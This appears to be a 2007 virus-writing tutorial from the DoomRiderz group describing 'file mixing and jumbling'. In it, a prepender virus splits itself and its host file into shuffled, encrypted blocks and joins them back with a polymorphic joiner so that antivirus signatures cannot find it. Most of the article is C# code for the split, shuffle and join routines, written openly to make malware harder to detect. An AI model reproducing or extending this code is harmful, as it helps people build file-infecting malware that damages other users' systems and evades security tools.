/******************************************************************************* ================================================================================ File Mixing and Jumbling In Viruses by free0n/[DoomRiderz] ================================================================================ *******************************************************************************/ INDEX: 0) Introduction 1) How it works 2) The Mixing 3) The Jumbling 4) Conclusion 0) Introduction This article is a introduction to a technique known as file mixing. The idea is based on a concept of dynamically splitting the file into random sections and joining the code back for a successful execution. The technique is meant to be used as a stealth tactic that can be used most effectively for file infection viruses. This concept is mostly an idea but it is possible and has been done before. 1) How it works The mixing and jumbling is a pretty basic concept and very effective the idea is that you have you have your virus split itself into many small sections these small sections are then jumbled or scrambled. Keeping any identification of a signature or position of a signature almost impossible to find. For example we have a prepender virus. Prepender viruses work by putting the code or executable portion at the first part of the file. So when the file is launched the virus is executed, the virus runs and then reads itself and launches the original program it's attached to. Figure 1. Figure 2. Figure 3. -=========- -=========- -=========- | virus | | joiner | | joiner | -=========- -=========- -=========- | host | | virus | | virus | -=========- -=========- | + | | host | -=========- Now this basically works by having the virus when ran, search for suitable files that can be infected. So in our example of the prepender we will have it infect executable files in the current directory. The virus then instead of automatically inserting it's code at the top. Splits the file into small sections. The virus then does the same thing. Once it's split it can randomly sort the bytes into an order that can be randomly chosen. Depending on the size of the file will depend on how many different splits you can do. Once the virus and the host are split and randomly sorted they are mixed in a random order and encrypted and written to a temporary file. So what the expected result will look like will be something like this: Figure 4. [ virus] or [ host ] [ host ] [ host ] [ joiner ] [ virus] [ virus ] becomes [ virus + host ] = [ virus+host] [ host ] [ host ] [ virus] [ virus ] [ host ] [ virus ] The outcome of the different sections and where are chosen at random. The point of which is to make them scrambled. The temporary file which we created is then merged to the original file that the virus is infecting. The second part is writing the joiner application.The joiner is the part that knows what parts belong to the virus and which parts belong to the host. It also has to have the ability to decrypt the binary data in the file and be polymorphic. Which means that no variables in the joiner should be the same, method or function names should change, the body should change and if possible make sure that code used in the joiner either takes names of common variable names or the data is encrypted each time. If you can't make the joiner application undetectable it's sure not going to with stand av. They may not be able to find a signature on your virus but they will find a signature on your joiner if you aren't careful. 2) The Mixing Below I will demonstrate a method that can split the file and the host and will write our temporary executable. The method Split is passed two byte arrays which contain the bytes of the executable to be infected (hostByte) and the bytes of the virus (myBytes). We use the variable b to generate a random 16 number. Then divide it based on the file size. This should get us the size of each block like in Figure 4 [virus][host][virus]. The next part is deciding which order they should be split and rejoined this order is kept in a string variable called "sequence" that we will write to our joiner. This and the variable int b are very important. Without it we will not be able to join the file and tell which part is what. private string Split(byte[] hostByte, byte[]myBytes) { int b = RandSixTeen(hostByte.Length); //calculate how much to write each block int hblocksize = (hostByte.Length / b); int vblocksize = (myBytes.Length / b); //decide the sequence ArrayList arrShuffled = ShuffleArrayList((b * 2)); int i = 0; IEnumerator enumr = arrShuffled.GetEnumerator(); string sequence = ""; int av = 0; int ah = 0; int ev = vblocksize; int eh = hblocksize; string cmbName = myDir + slash + RandomWords() + ".exe"; string sequence = ""; FileStream fswHost = new FileStream(cmbName, FileMode.Create, FileAccess.Write); BinaryWriter bwHost = new BinaryWriter(fswHost); //we are going to loop through the array list and depending if the //the current value in the arraylist is 1 or 0 write the different parts //out. If it's 0 then we write the host, if it's 1 we write the virus while (enumr.MoveNext()) { if (enumr.Current.Equals(1)) { for (int j = av; j < ev; j++) { bwHost.BaseStream.WriteByte(myBytes[j]); } av = ev; ev = ev + vblocksize; } else { for (int j = ah; j < eh; j++) { bwHost.BaseStream.WriteByte(hostByte[j]); } ah = eh; eh = eh + hblocksize; } sequence += enumr.Current; i++; } fswHost.Flush(); bwHost.Flush(); bwHost.Close(); fswHost.Close(); return sequence; } private int RandSixTeen(int s) { int[] intArr = new int[64]; int l = 63; for (int i = 0; i < intArr.Length; i++) { intArr[i] = 16 * (i + 1); if (intArr[i] > s) { l = i - 1; break; } } Random r = new Random(); return intArr[r.Next(0, l)]; } private ArrayList ShuffleArrayList(int n) { //create an array list ArrayList arrList = new ArrayList(); for (int i = 0; i < n; i++) { if ((i % 2) == 0) { arrList.Add(0); } else { arrList.Add(1); } } //randomly sort the arraylist then return it Random rnd = new Random(); for (int inx = arrList.Count - 1; inx > 0; --inx) { int pos = rnd.Next(inx); object temp = arrList[inx]; arrList[inx] = arrList[pos]; arrList[pos] = temp; } return arrList; } Once the temporary file is written and created we can then merge it into the host file. The next step is writing the joiner which we will place at the top of the host file. So in the end it will look like Figure 4. 3) The Jumbling The joining of two files is not that tricky. We are basically just reversing the alogrithm we used to join the two files. And instead of reading we are writing. We have to know 2 things. Which part is the virus and host, and how big are each block in the sequence. Luckly we saved our sequence and sequence size in our variables. our sequence should look something like this: string sequence = "01010101010100001010111100101"; a bunch of random 0's and 1's order in a weird way that should never be the same length or in the same order. The chance of that happening is extremely low. Now I won't go over the whole decryption and writing the joiner because depending on your programming language that will be a different approach. The reason why I use C# in this is because it's pretty obvious to read and under stand whats going on even if you've never coded C#.. We have 1 method that gets passed four variables. One which is the sequence and the other which is the size of blocks. We have two byte arrays that will store the virus or the host bytes. When the sequence loop is done all we have to do is write the virus and the original program back out and execute it. private void Join(string sequence, int b, int mySize, int fileSize) { FileStream fs = new FileStream(file); BinaryReader br = new BinaryReader(fs); CharEnumerator ce = sequence.GetEnumerator(); int blocks = (b / 2); int hlength = (fileSize / blocks); int vlength = (mySize / blocks); byte[] hostBytes = new byte[hlength]; byte[] virBytes = new byte[vlength]; int vcount = 0; int hcount = 0; int vsize = vlength; int hsize = hlength; while(ce.MoveNext()) { if(ce.Current.Equals('1')) { for(int f = vcount; f < vsize; f++) { virBytes[f] = br.ReadByte(); } vcount = vsize; vsize = vsize + vlength; } else { for(int f = hcount; f < hsize; f++) { hostBytes[f] = br.ReadByte(); } hcount = hsize; hsize = hsize + hlength; } } br.Close(); fs.Close(); } The joiner then has both of the contents and can write out the byte arrays. First writing and executing the virus. Then when the virus is done executing the host to make sure the application doesn't get reinfected. After that the temporary files are deleted and everything completes. 4) Conclusion At the time of writing this article. I have made a more full example of this method in a polymorphic virus called Baldr. The virus maybe confusing at first but it has almost the exact same code and technique for file splitting. Another idea to take this further is maybe hiding different portions of virus code in other files, making the code available on the Internet and performing get requests, or maybe finding new ways to compress the joiners. ``Thus spake the master programmer: A well-written program is its own heaven; a poorly-written program is its own hell.'' - Tao free0n - DoomRiderz http://free0n.host.sk phree0n@hotmail.com 01/01/2007 (Happy New Year!)